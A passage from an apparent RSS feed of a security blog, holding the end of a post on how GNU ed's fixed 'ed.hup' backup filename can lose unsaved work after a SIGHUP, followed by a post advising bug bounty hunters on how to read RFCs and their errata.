&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Get home directory location from $HOME environment variable
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;char&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; s &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getenv&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;HOME&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Check if $HOME environment variable is set
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;s &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;s[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;exit&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Get length of $HOME path
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; len &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;strlen&lt;/span&gt;(s);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Does $HOME end with a forward slash? 1 if it does, 0 else
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; need_slash &lt;span style="color:#f92672"&gt;=&lt;/span&gt; s[len &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Construct full path for backup file
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;char&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; hup &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (len &lt;span style="color:#f92672"&gt;+&lt;/span&gt; need_slash &lt;span style="color:#f92672"&gt;+&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt;)&lt;span style="color:#66d9ef"&gt;sizeof&lt;/span&gt; hb &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;path_max&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)) &lt;span style="color:#f92672"&gt;?&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;char&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt;)&lt;span style="color:#a6e22e"&gt;malloc&lt;/span&gt;(len &lt;span style="color:#f92672"&gt;+&lt;/span&gt; need_slash &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;sizeof&lt;/span&gt; hb) &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Throw error if path construction fails
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;hup)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;exit&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;memcpy&lt;/span&gt;(hup, s, len);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Append forward slash to $HOME if missing final forward slash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (need_slash)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hup[len] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Copy backup file contents to
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;memcpy&lt;/span&gt;(hup &lt;span style="color:#f92672"&gt;+&lt;/span&gt; len &lt;span style="color:#f92672"&gt;+&lt;/span&gt; need_slash, hb, &lt;span style="color:#66d9ef"&gt;sizeof&lt;/span&gt; hb);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Write contents to
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;write_file&lt;/span&gt;(hup, &lt;span style="color:#e6db74"&gt;&amp;#34;w&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;last_addr&lt;/span&gt;()) &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;exit&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;exit&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;); &lt;span style="color:#75715e"&gt;/* hup file write failed */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Unfortunately, as indicated by my code comment, the backup file will always be named &lt;code&gt;ed.hup&lt;/code&gt; which leaves much to be desired.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;char&lt;/span&gt; hb[] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;ed.hup&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There are so many reasons why this may cause issues. If GNU &lt;code&gt;ed&lt;/code&gt; cannot write to either the home directory or the current directory&amp;rsquo;s &lt;code&gt;ed.hup&lt;/code&gt; file, the user will lose all their work when &lt;code&gt;ed&lt;/code&gt; crashes. To explore why this is a bad idea, I will use a scenario.&lt;/p&gt;
&lt;h2 id="sudo-make-me-a-sandwich"&gt;Sudo make me a sandwich&lt;/h2&gt;
&lt;p&gt;Since this is not a tutorial on how to use &lt;code&gt;ed&lt;/code&gt;, briefly: the way &lt;code&gt;ed&lt;/code&gt; works is you can append lines to a buffer using the &lt;code&gt;a&lt;/code&gt; command and then write to a file using the &lt;code&gt;w&lt;/code&gt; command. There is more to it but this should be enough for the reader to understand everything outlined below.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ed&lt;/code&gt; is launched in the home directory using &lt;code&gt;sudo&lt;/code&gt; and some text is written to a buffer.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;❯ ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;❯ sudo ed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Writing some text to a buffer using sudo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;After the single &amp;#39;.&amp;#39;, this process will experience
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a SIGHUP signal from a different terminal window
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;141
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This process experiences a SIGHUP signal called using &lt;code&gt;sudo kill -SIGHUP &amp;lt;pid&amp;gt;&lt;/code&gt; in another terminal window. &lt;code&gt;ed&lt;/code&gt; writes the contents of the buffer to a &lt;code&gt;ed.hup&lt;/code&gt; file in the current working directory (i.e. &lt;code&gt;$HOME&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;❯ ls -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total 4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- 1 root wheel 141 Feb 7 13:07 ed.hup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;❯ cat ed.hup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Writing some text to a buffer using sudo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;After the single &amp;#39;.&amp;#39;, this process will experience
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a SIGHUP signal from a different terminal window
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we navigate to a subdirectory (e.g. &lt;code&gt;demo&lt;/code&gt;) and repeat the same process using &lt;code&gt;sudo&lt;/code&gt; and cause &lt;code&gt;ed&lt;/code&gt; to encounter a SIGHUP signal. Since &lt;code&gt;ed&lt;/code&gt; favours the current working directory over the &lt;code&gt;$HOME&lt;/code&gt; directory, the &lt;code&gt;ed.hup&lt;/code&gt; will be written to the current working directory.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;demo ❯ ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total 4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- 1 root wheel 141 Feb 7 13:07 ed.hup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;demo ❯ cat ed.hup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Writing some text to a buffer using sudo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;After the single &amp;#39;.&amp;#39;, this process will experience
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a SIGHUP signal from a different terminal window
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Our current directory structure can be illustrated as follows by running &lt;code&gt;tree&lt;/code&gt; in the home directory.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;❯ tree
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├── ed.hup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└── demo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; └── ed.hup
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With this setup, we can finally demonstrate how &lt;code&gt;ed&lt;/code&gt; could end up eating your homework. In the subdirectory, launch &lt;code&gt;ed&lt;/code&gt; &lt;strong&gt;without&lt;/strong&gt; &lt;code&gt;sudo&lt;/code&gt; and cause the process to crash.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plaintext" data-lang="plaintext"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;demo ❯ ed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;This is my homework for the assignment on Tuesday!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;I hope this doesn&amp;#39;t get lost. :(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ed.hup: Permission denied
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/Users/&amp;lt;user&amp;gt;/ed.hup: Permission denied
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;84
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;demo ❯ ls -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total 4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- 1 root wheel 141 Feb 7 13:07 ed.hup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;demo ❯ cat ed.hup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Writing some text to a buffer using sudo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;After the single &amp;#39;.&amp;#39;, this process will experience
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a SIGHUP signal from a different terminal window
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;demo ❯ cd $HOME
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;❯ cat ed.hup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Writing some text to a buffer using sudo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;After the single &amp;#39;.&amp;#39;, this process will experience
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a SIGHUP signal from a different terminal window
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We just lost all our homework. &lt;code&gt;ed&lt;/code&gt; failed to write to the &lt;code&gt;ed.hup&lt;/code&gt; files in both the current working directory and the home directory because the process lacked the required privileges.&lt;/p&gt;
&lt;p&gt;The passage from Kernighan and Plauger&amp;rsquo;s seems very fitting here.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Error recovery is a second major influence on the design of the editor. [&amp;hellip;] &lt;code&gt;edit&lt;/code&gt; maintains precious files, so it must be cautious. [&amp;hellip;] &lt;strong&gt;It must recover gracefully, for otherwise some trifling mistake could cause the loss of valuable information.&lt;/strong&gt;&amp;rdquo;&lt;/p&gt;
&lt;p&gt;— Brian Kernighan &amp;amp; P.J. Plauger, &lt;a href="https://www.goodreads.com/book/show/515602.Software_Tools_in_Pascal"&gt;Software Tools in Pascal&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is a lesson on why not to use static backup filenames.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/159934659-fd991f62-c2fb-40f3-9a5d-15252c7cd875.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="update-apr-2022"&gt;Update (Apr, 2022)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://twitter.com/qrs"&gt;@qrs&lt;/a&gt; notified me on Twitter that a SIGHUP
is sent when the connection drops; not during an &lt;code&gt;ed&lt;/code&gt; crash. I have
updated the blog post accordingly.&lt;/li&gt;
&lt;li&gt;Hacker News user
&lt;a href="https://news.ycombinator.com/user?id=projektfu"&gt;projektfu&lt;/a&gt; &lt;a href="https://news.ycombinator.com/item?id=30894308"&gt;noted&lt;/a&gt;
users should consider using &amp;ldquo;&lt;code&gt;sudo -e&lt;/code&gt; instead of &lt;code&gt;sudo $EDITOR&lt;/code&gt; when editing
something important with root permissions&amp;rdquo;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;a href="https://github.com/vim/vim/blob/c54f347d63bcca97ead673d01ac6b59914bb04e5/runtime/doc/recover.txt#L7-L25"&gt;https://github.com/vim/vim/blob/c54f347d63bcca97ead673d01ac6b59914bb04e5/runtime/doc/recover.txt#L7-L25&lt;/a&gt;&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>Reading RFCs for bug bounty hunters</title><link>https://edoverflow.com/2022/reading-rfcs-for-bug-bounty-hunters/</link><pubDate>Sat, 05 Mar 2022 15:35:59 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2022/reading-rfcs-for-bug-bounty-hunters/</guid><description>&lt;p&gt;Yesterday, I received an email from a reader concerning &lt;a href="https://en.wikipedia.org/wiki/Request_for_Comments"&gt;IETF Request for Comments (RFCs)&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;I have heard about hackers reading RFCs. &lt;strong&gt;Is there a guide on reading RFCs and what to search for?&lt;/strong&gt; Because there is way too much information in RFCs, one cannot start going through it manually.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;— Afolic&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is a brilliant question and one I have heard before but never covered in a blog post.&lt;/p&gt;
&lt;p&gt;Having worked on the &lt;a href="https://securitytxt.org/"&gt;security.txt&lt;/a&gt; specification (soon to be &lt;a href="https://www.rfc-editor.org/rfc/authors/rfc9116.html"&gt;RFC 9116&lt;/a&gt;), I may be able to give some insight into what to look for when reviewing RFCs as a bug bounty hunter.&lt;/p&gt;
&lt;p&gt;Before we dive into my advice on how to review RFCs, let me share &lt;strong&gt;why&lt;/strong&gt; a bug bounty hunter may want to review RFC literature.&lt;/p&gt;
&lt;h2 id="why"&gt;Why?!&lt;/h2&gt;
&lt;p&gt;RFCs act as reference material for readers to implement certain technologies and protocols.&lt;/p&gt;
&lt;p&gt;For bug bounty hunters, the documents are an opportunity to familiarise oneself with a given technology as defined by the authors of the standard. Rather than relying on a third-party&amp;rsquo;s rehash, RFCs act as the original source. RFCs allow one to examine what developers may have reviewed when designing their implementation.&lt;/p&gt;
&lt;p&gt;Additionally, RFCs allow one to see where implementors deviate from the specification; thus, potentially introducing security flaws.&lt;/p&gt;
&lt;p&gt;At the end of the day, an RFC specification is merely a guideline. Implementors are free to develop the technology or protocol as they wish. If I decide I would rather use frogs over pigeons for &lt;a href="https://datatracker.ietf.org/doc/html/rfc1149"&gt;RFC 1149&lt;/a&gt;, that is up to me—the implementor.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://c.tenor.com/az7zBa8Qz3EAAAAC/frog.gif" alt="" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;Frogs when they realise they will be in charge of IPv4 packets&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 id="before-you-dive-in"&gt;Before you dive in&lt;/h2&gt;
&lt;p&gt;As highlighted by reader &lt;em&gt;Afolic&lt;/em&gt;, diving straight into an RFC document may be daunting at first.&lt;/p&gt;
&lt;p&gt;Initially, I prefer reviewing a topic by becoming acquainted with the surrounding vocabulary. For example, before reading the ICMP RFC, I might watch a few YouTube videos on the subject until I feel comfortable enough to start examining the RFC.&lt;/p&gt;
&lt;p&gt;If you are not sure what terminology to look up, RFCs come with a dedicated &amp;ldquo;Terminology&amp;rdquo; section towards the beginning of the document.&lt;/p&gt;
&lt;p&gt;Right; now you are ready to read an RFC.&lt;/p&gt;
&lt;h2 id="the-security-considerations-section"&gt;The &lt;em&gt;Security Considerations&lt;/em&gt; section&lt;/h2&gt;
&lt;p&gt;As outlined in &lt;a href="https://datatracker.ietf.org/doc/html/rfc7322#section-4.8.5"&gt;RFC 7322&lt;/a&gt;, all RFCs must include a &lt;em&gt;Security Considerations&lt;/em&gt; section that covers the security practices readers must consider when implementing the RFC.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;All RFCs must contain a section that discusses the security considerations relevant to the specification; see &lt;a href="https://datatracker.ietf.org/doc/html/rfc3552"&gt;&amp;ldquo;Guidelines for Writing RFC Text on Security Considerations&amp;rdquo;&lt;/a&gt; &lt;a href="https://datatracker.ietf.org/doc/html/rfc3552"&gt;[BCP72]&lt;/a&gt; for more information.&lt;/p&gt;
&lt;p&gt;— RFC 7322, Section 4.8.5&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Naturally, it would make sense for someone reviewing the security of a target technology to read the security considerations the authors of the RFC made. For instance, are you testing the security of an OAuth 2.0 implementation? Review the &lt;a href="https://datatracker.ietf.org/doc/html/rfc6749#section-10"&gt;RFC 6749 &lt;em&gt;Security Considerations&lt;/em&gt;&lt;/a&gt; section.&lt;/p&gt;
&lt;p&gt;The security.txt specification has a &lt;em&gt;&amp;ldquo;Security Considerations&amp;rdquo;&lt;/em&gt; section too. &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt; Can you think of what flaws may have been introduced by readers not taking the security considerations into account? &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id="reviewing-past-versions-of-an-rfc"&gt;Reviewing past versions of an RFC&lt;/h2&gt;
&lt;p&gt;When targeting an application, certain features and implementations may be following outdated RFC specifications. You can tell an RFC is outdated because the document&amp;rsquo;s front matter contains an &amp;ldquo;Obsoleted by:&amp;rdquo; link.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/156892450-0ef480cd-f7c7-4d58-af42-32eb44ddaf42.png" alt="" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;RFC 5849 is obsoleted by RFC 6749&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;To simplify the reading process, RFCs come with a &lt;a href="https://en.wikipedia.org/wiki/Diff"&gt;diff&lt;/a&gt; viewer. The IETF have a dedicated tool called &lt;a href="https://tools.ietf.org/tools/rfcdiff/rfcdiff.pyht"&gt;Rfcdiff Tool&lt;/a&gt; which makes generating diffs easier.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/156892934-151c1028-322f-4a69-831d-be2dd6c6c83e.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;If you are strapped for time, diffing the table of contents can often reveal a lot about the changes made from one RFC to another.&lt;/p&gt;
&lt;h2 id="errata-exist"&gt;Errata exist&lt;/h2&gt;
&lt;p&gt;RFCs can contain mistakes. The authors are only human and sometimes even after hundreds of edits and reviews, a mistake makes its way into the final RFC specification.&lt;/p&gt;
&lt;p&gt;To address this, the IETF have &lt;a href="https://www.rfc-editor.org/errata.php"&gt;errata boards&lt;/a&gt; where readers may report mistakes (i.e. &lt;a href="https://en.wikipedia.org/wiki/Erratum"&gt;errata&lt;/a&gt;). When mistakes have been discovered in an RFC, the document will include an &amp;ldquo;Errata exist&amp;rdquo; link.&lt;/p&gt;
&lt;p&gt;
&lt;figure&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/156893099-db7a7f6c-ba2f-465b-903a-b83d960a7cb3.png" alt="" loading="lazy" decoding="async"&gt;
&lt;figcaption&gt;&amp;#39;Errata exist&amp;#39; link in RFC 7489&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Errata in RFCs may result in developers making mistakes in their implementations. It is worth reviewing the errata for issues relating to security. Then, determine whether your target is affected by a given erratum.&lt;/p&gt;
&lt;p&gt;I would recommend keeping notes for each RFC you review containing security-relevant errata that one could test for. That way, in future, you do not have to sieve through the RFC errata again to rediscover these security-related mistakes.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;RFCs can be dry and difficult to navigate. I hope this response to the email helps bug bounty hunters more easily review RFCs.&lt;/p&gt;
&lt;p&gt;If you would like to have your question answered in the form of a blog post like this, please send me an &lt;a href="mailto:contact@edoverflow.com"&gt;email&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="update-dec-2022"&gt;Update (Dec, 2022)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Inti De Ceukelaire gave a talk at NahamCon 2022 covering the
importance of reading RFC specifications for bug bounty hunters:
&lt;a href="https://twitter.com/intigriti/status/1604054094808760321"&gt;https://twitter.com/intigriti/status/1604054094808760321&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
